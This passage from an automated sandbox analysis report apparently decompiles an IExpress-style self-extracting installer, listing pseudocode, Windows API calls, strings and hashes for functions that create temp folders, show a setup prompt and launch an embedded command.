RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,?,010D4096,010D4096,?,010D1ED3,00000001,00000000,?,?,010D4137,?), ref: 010D25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,010D4096,00000000,00000000,00000000,00000000,?,010D1ED3,00000001,00000000), ref: 010D261A

Strings

PendingFileRenameOperations, xrefs: 010D25C3
System\CurrentControlSet\Control\Session Manager, xrefs: 010D25A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 010D25F5

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: d0d37ae17d366bcd7b35f59c491ea1245e9ff04864f44483e9a216450ed3d9ca
Instruction ID: a8febf2f5709e3f9c0e8a330b2bdf3bd453087c2500338c011d24689b58f7139
Opcode Fuzzy Hash: d0d37ae17d366bcd7b35f59c491ea1245e9ff04864f44483e9a216450ed3d9ca
Instruction Fuzzy Hash: D3118F35A02328FB9B309B969C09DFFBEBCEF057A1F504095F989A2004D6314A44D6A0

Uniqueness

Uniqueness Score: -1.00%

Function 010D53A1 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010D53A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E010D171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E010D1680(_t32, 0x104, _t20);
					E010D658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E010D6CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x10d8a20 = 1;
				goto L5;
			}

0x010d53ac
0x010d53b3
0x010d53b9
0x010d53bb
0x010d53bd
0x010d53bf
0x010d53d1
0x010d53d6
0x010d53e0
0x010d53e2
0x010d53f5
0x010d53fb
0x010d5402
0x010d540b
0x00000000
0x00000000
0x010d5413
0x00000000
0x00000000
0x010d5415
0x010d5416
0x010d5427
0x010d542a
0x010d542b
0x010d5434
0x010d5434
0x010d543a
0x010d544c
0x010d544c
0x010d5452
0x010d545a
0x00000000
0x00000000
0x010d545e
0x010d545f
0x00000000

APIs

Part of subcall function 010D171E: _vsnprintf.MSVCRT ref: 010D1750

RemoveDirectoryA.KERNELBASE(?,?,010D91E4,?,00000001,010D91E4,00000000), ref: 010D53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,010D91E4,00000000), ref: 010D5402
GetTempFileNameA.KERNEL32(010D91E4,IXP,00000000,?,?,00000001,010D91E4,00000000), ref: 010D541F
DeleteFileA.KERNEL32(?,?,00000001,010D91E4,00000000), ref: 010D542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,010D91E4,00000000), ref: 010D5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,010D91E4,00000000), ref: 010D5452

Strings

IXP, xrefs: 010D5419
IXP%03d.TMP, xrefs: 010D53C0

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: IXP$IXP%03d.TMP
API String ID: 1082909758-3932986939
Opcode ID: 15de62571f178e930967134ee440504b8342e6e9f237b787bfe601f1a4bd246b
Instruction ID: 651acfcacb5666bcb5b4e0deba754e89b407fa85b3b9c950dde2d3583f7e0bfb
Opcode Fuzzy Hash: 15de62571f178e930967134ee440504b8342e6e9f237b787bfe601f1a4bd246b
Instruction Fuzzy Hash: 58110171702304A7E320AB369C48FEF3A6DEFD5311F004069FAC6D3180CE7A894287A1

Uniqueness

Uniqueness Score: -1.00%

Function 010D6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E010D7155();
				_push(0x58);
				_push(0x10d72b8);
				E010D7208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x10d88b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x10d88b0; // 0x2
						if(__eflags != 0) {
							 *0x10d81e4 = _t58;
							goto L13;
						} else {
							 *0x10d88b0 = _t58;
							_t37 = E010D6C3F(0x10d10b8, 0x10d10c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L010D6FF4();
						L13:
						_t68 =  *0x10d88b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x10d10b4);
							_push(0x10d10ac);
							L010D7202();
							 *0x10d88b0 = 2;
						}
						if(_t53 == 0) {
							 *0x10d88ac = 0;
						}
						_t71 =  *0x10d88b4;
						if( *0x10d88b4 != 0 && E010D7060(_t71, 0x10d88b4) != 0) {
							_t60 =  *0x10d88b4; // 0x0
							 *0x10da288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E010D2BFB(0x10d0000, 0, _t59); // executed
							 *0x10d81e0 = _t30;
							__eflags =  *0x10d81f8;
							if( *0x10d81f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x10d81e4;
							if( *0x10d81e4 == 0) {
								__imp___cexit();
								_t30 =  *0x10d81e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E010D724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x010d6a60
0x010d6a6a
0x010d6a6c
0x010d6a71
0x010d6a78
0x010d6a7f
0x010d6a85
0x010d6a8e
0x010d6a91
0x010d6a93
0x010d6a9c
0x010d6aa2
0x00000000
0x00000000
0x010d6aa6
0x010d6ab4
0x00000000
0x010d6aa8
0x010d6aaa
0x010d6aab
0x010d6aab
0x010d6abf
0x010d6abf
0x010d6ac5
0x010d6ad1
0x010d6ad7
0x010d6b05
0x00000000
0x010d6ad9
0x010d6ad9
0x010d6ae9
0x010d6af0
0x010d6af2
0x00000000
0x010d6af4
0x010d6af4
0x010d6afb
0x010d6afb
0x010d6af2
0x010d6ac7
0x010d6ac7
0x010d6ac9
0x010d6b0b
0x010d6b0b
0x010d6b11
0x010d6b13
0x010d6b18
0x010d6b1d
0x010d6b24
0x010d6b24
0x010d6b30
0x010d6b39
0x010d6b39
0x010d6b3b
0x010d6b42
0x010d6b57
0x010d6b5f
0x010d6b65
0x010d6b65
0x010d6b67
0x010d6b6c
0x010d6b6e
0x010d6b71
0x010d6b74
0x010d6b74
0x010d6b79
0x00000000
0x00000000
0x010d6b7d
0x010d6b81
0x00000000
0x00000000
0x010d6b83
0x010d6b8c
0x010d6b8d
0x010d6b90
0x010d6b90
0x010d6b83
0x010d6b81
0x010d6b94
0x010d6b98
0x010d6ba2
0x010d6b9a
0x010d6b9a
0x010d6b9a
0x010d6ba3
0x010d6bab
0x010d6bb0
0x010d6bb5
0x010d6bbc
0x010d6bbf
0x00000000
0x010d6bbf
0x010d6c1e
0x010d6c25
0x010d6c27
0x010d6c2d
0x010d6c2d
0x010d6c32
0x00000000
0x010d6bc5
0x010d6bc5
0x010d6bc8
0x010d6bcc
0x010d6bce
0x010d6bce
0x010d6bd1
0x010d6bd3
0x010d6bd3
0x010d6bd6
0x010d6bda
0x010d6be1
0x010d6be3
0x010d6be5
0x010d6be5
0x010d6be6
0x010d6be6
0x010d6be9
0x010d6bea
0x010d6bea
0x010d6b74
0x010d6c39
0x010d6c3e
0x010d6c3e
0x010d6abe
0x010d6abe
0x00000000

APIs

Part of subcall function 010D7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 010D7182
Part of subcall function 010D7155: GetCurrentProcessId.KERNEL32 ref: 010D7191
Part of subcall function 010D7155: GetCurrentThreadId.KERNEL32 ref: 010D719A
Part of subcall function 010D7155: GetTickCount.KERNEL32 ref: 010D71A3
Part of subcall function 010D7155: QueryPerformanceCounter.KERNEL32(?), ref: 010D71B8

GetStartupInfoW.KERNEL32(?,010D72B8,00000058), ref: 010D6A7F
Sleep.KERNEL32(000003E8), ref: 010D6AB4
_amsg_exit.MSVCRT ref: 010D6AC9
_initterm.MSVCRT ref: 010D6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 010D6B49
exit.KERNELBASE ref: 010D6BBF
_ismbblead.MSVCRT ref: 010D6BDA

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: af3141745e2081e7024e893b83eb536059e4bd4eceeb40521474327423d80978
Instruction ID: 94a7c3e117df251ae79181f822699ba4243ca818ce81eb36c296a51779a9a2d9
Opcode Fuzzy Hash: af3141745e2081e7024e893b83eb536059e4bd4eceeb40521474327423d80978
Instruction Fuzzy Hash: 6A41EF35A45365DBEB729B6DE8057BE7BE4FB44720F14805BEDC197284CB7A4880CB80

Uniqueness

Uniqueness Score: -1.00%

Function 010D5467 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E010D5467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x10d91e4;
					_t42 = 0x104;
					E010D1680(0x10d91e4, 0x104);
					L14:
					_t13 = E010D58C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x10d9124 = 0;
							_t14 = 1;
							L24:
							return E010D6CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E010D597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x10d8a20; // 0x0
						if(_t61 != 0) {
							 *0x10d8a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x10d9124 = E010D6285();
						goto L22;
					}
					 *0x10d8a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E010D53A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x10d91e4;
				E010D1781(0x10d91e4, 0x104, __ecx,  &_v268);
				if(( *0x10d9a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E010D658A(_t48, 0x104, 0x10d1140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E010D658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x010d5472
0x010d5479
0x010d5481
0x010d5484
0x010d551c
0x010d5521
0x010d5528
0x010d552d
0x010d552f
0x010d5539
0x010d554d
0x010d554d
0x010d5552
0x010d5585
0x010d5585
0x010d558b
0x010d558d
0x010d559d
0x010d559d
0x010d5557
0x010d555e
0x00000000
0x00000000
0x010d5560
0x010d5566
0x010d5569
0x010d556f
0x010d556f
0x010d5581
0x010d5581
0x00000000
0x010d5581
0x010d5545
0x010d557c
0x00000000
0x010d557c
0x010d5547
0x00000000
0x010d5547
0x010d548a
0x010d5490
0x010d5497
0x00000000
0x00000000
0x010d549d
0x010d54ab
0x010d54b4
0x010d54c0
0x010d550c
0x010d5511
0x010d5515
0x00000000
0x010d5515
0x010d54c9
0x010d54d6
0x010d54d8
0x010d54fe
0x010d5503
0x010d5507
0x00000000
0x010d5507
0x010d54da
0x010d54dd
0x010d54f7
0x00000000
0x010d54f7
0x010d54df
0x010d54e2
0x010d54f0
0x00000000
0x010d54f0
0x010d54e7
0x00000000
0x00000000
0x010d54e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,010D91E4,00000001,010D91E4,00000000), ref: 010D54C9
CreateDirectoryA.KERNEL32(010D91E4,00000000,010D91E4,00000001,010D91E4,00000000), ref: 010D553D
RemoveDirectoryA.KERNEL32(010D91E4,00000000,010D91E4,00000001,010D91E4,00000000), ref: 010D556F

Part of subcall function 010D53A1: RemoveDirectoryA.KERNELBASE(?,?,010D91E4,?,00000001,010D91E4,00000000), ref: 010D53FB
Part of subcall function 010D53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,010D91E4,00000000), ref: 010D5402
Part of subcall function 010D53A1: GetTempFileNameA.KERNEL32(010D91E4,IXP,00000000,?,?,00000001,010D91E4,00000000), ref: 010D541F
Part of subcall function 010D53A1: DeleteFileA.KERNEL32(?,?,00000001,010D91E4,00000000), ref: 010D542B
Part of subcall function 010D53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,010D91E4,00000000), ref: 010D5434

Strings

i386, xrefs: 010D54FE
alpha, xrefs: 010D54F0
mips, xrefs: 010D54F7
ppc, xrefs: 010D54E9

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: alpha$i386$mips$ppc
API String ID: 1979080616-1048730182
Opcode ID: c4e34e9f24eea569ed9133e4d25234710232d6bfd9d3dc8ae0621cfe435231de
Instruction ID: fd819dcacf4582721589cc42e2be9cf07f8fcb7b62f7ad9da4688b69ee54edfd
Opcode Fuzzy Hash: c4e34e9f24eea569ed9133e4d25234710232d6bfd9d3dc8ae0621cfe435231de
Instruction Fuzzy Hash: 49314770B013119BDB219B3D9C14ABE7BFAAF91244B84416AEDC2C318CDF76CA018795

Uniqueness

Uniqueness Score: -1.00%

Function 010D3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E010D3FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E010D6CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x10d9124 = E010D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E010D44B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x10d8a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x10d9a2c;
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x10d9a2c = _t44;
						}
					}
				}
				E010D411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x10d9a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x010d3fef
0x010d3ffa
0x010d4001
0x010d4008
0x010d400a
0x010d400b
0x010d4010
0x010d410a
0x010d411a
0x010d411a
0x010d401c
0x010d401d
0x010d401e
0x010d401f
0x010d4033
0x010d403b
0x010d40ca
0x010d40e9
0x010d40f8
0x010d4101
0x010d4106
0x010d4106
0x010d4108
0x010d4108
0x00000000
0x010d4108
0x010d4049
0x010d405c
0x010d4062
0x010d4068
0x010d406e
0x010d4070
0x010d4077
0x010d407f
0x010d4089
0x010d408b
0x010d408b
0x010d4089
0x010d4077
0x010d4091
0x010d409c
0x010d40a8
0x010d40b8
0x00000000
0x010d40c2
0x00000000
0x010d40c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 010D4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 010D4049
GetExitCodeProcess.KERNELBASE ref: 010D405C
CloseHandle.KERNEL32(?), ref: 010D409C
CloseHandle.KERNEL32(?), ref: 010D40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 010D40DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 010D40E9

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 54f134a69a6fe14670978b3cf2ce4aec2f92b61e36ee048346cf19e0cee113e0
Instruction ID: 74f910aa1002154ade6312213230306f09f494e261e2144b5384ce0c4e1cb9e5
Opcode Fuzzy Hash: 54f134a69a6fe14670978b3cf2ce4aec2f92b61e36ee048346cf19e0cee113e0
Instruction Fuzzy Hash: 1231B135742318ABEB709B79DC48FAB7BB8EB94700F1001A9F985D2551C6364881CF50

Uniqueness

Uniqueness Score: -1.00%

Function 010D58C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010D58C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t1 = _t27 + 1; // 0x10d91e5
				_t23 = _t1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t2 = _t27 - _t23 + 0x14; // 0x10d91f9
				_t36 = _t2;
				_t20 = LocalAlloc(0x40, _t2);
				if(_t20 != 0) {
					E010D1680(_t20, _t36, _t33);
					E010D658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x10d9124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E010D44B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x10d9124 = E010D6285();
					_t14 = 0;
				}
				return _t14;
			}

0x010d58cd
0x010d58d1
0x010d58d3
0x010d58d5
0x010d58d5
0x010d58d8
0x010d58d8
0x010d58da
0x010d58db
0x010d58e1
0x010d58e1
0x010d58ed
0x010d58f1
0x010d591e
0x010d592c
0x010d5943
0x010d594a
0x010d594d
0x010d5953
0x010d5959
0x00000000
0x010d595b
0x010d595c
0x010d5963
0x010d596c
0x00000000
0x010d5972
0x010d5974
0x010d597a
0x010d597a
0x010d596c
0x010d58f3
0x010d5901
0x010d5906
0x010d590b
0x010d5910
0x010d5910
0x010d5918

APIs

LocalAlloc.KERNEL32(00000040,010D91F9,00000001,010D91E4,00000000,010D91E4,?,010D5534,010D91E4,00000001,010D91E4,00000000), ref: 010D58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,010D91E4,?,010D5534,010D91E4,00000001,010D91E4,00000000), ref: 010D5943
LocalFree.KERNEL32(00000000,?,010D5534,010D91E4,00000001,010D91E4,00000000), ref: 010D594D
CloseHandle.KERNEL32(00000000,?,010D5534,010D91E4,00000001,010D91E4,00000000), ref: 010D595C
GetFileAttributesA.KERNELBASE(010D91E4,?,010D5534,010D91E4,00000001,010D91E4,00000000), ref: 010D5963

Strings

TMP4351$.TMP, xrefs: 010D5923

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: TMP4351$.TMP
API String ID: 747627703-2619824408
Opcode ID: 0036fcb8c811dced1aa4640e3ac358996f8f8bbfa2e54a89d65aa8bc2f120182
Instruction ID: 2e8ec024b2f81bcc9e39ebafced0b9f4261f17996df3a835a5bbb4d3ec8278f2
Opcode Fuzzy Hash: 0036fcb8c811dced1aa4640e3ac358996f8f8bbfa2e54a89d65aa8bc2f120182
Instruction Fuzzy Hash: 561138317013216BD7301E7D9C0DA9BBFADDF46260B004659F9C5D31C4CE75980583A0

Uniqueness

Uniqueness Score: -1.00%

Function 010D51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010D51E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E010D468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E010D468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E010D44B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x10d9124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x10d9124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E010D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x10d9124 = 0x80070714;
					goto L10;
				}
				E010D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x10d9124 = E010D6285();
				goto L10;
			}

0x010d51fb
0x010d5207
0x010d520b
0x010d523c
0x010d5268
0x010d5270
0x010d528b
0x010d5293
0x010d529c
0x010d52a6
0x010d52b0
0x00000000
0x010d52b0
0x010d529e
0x010d5279
0x00000000
0x010d527b
0x010d5273
0x00000000
0x010d5273
0x010d524a
0x010d5250
0x010d5256
0x00000000
0x010d5256
0x010d5219
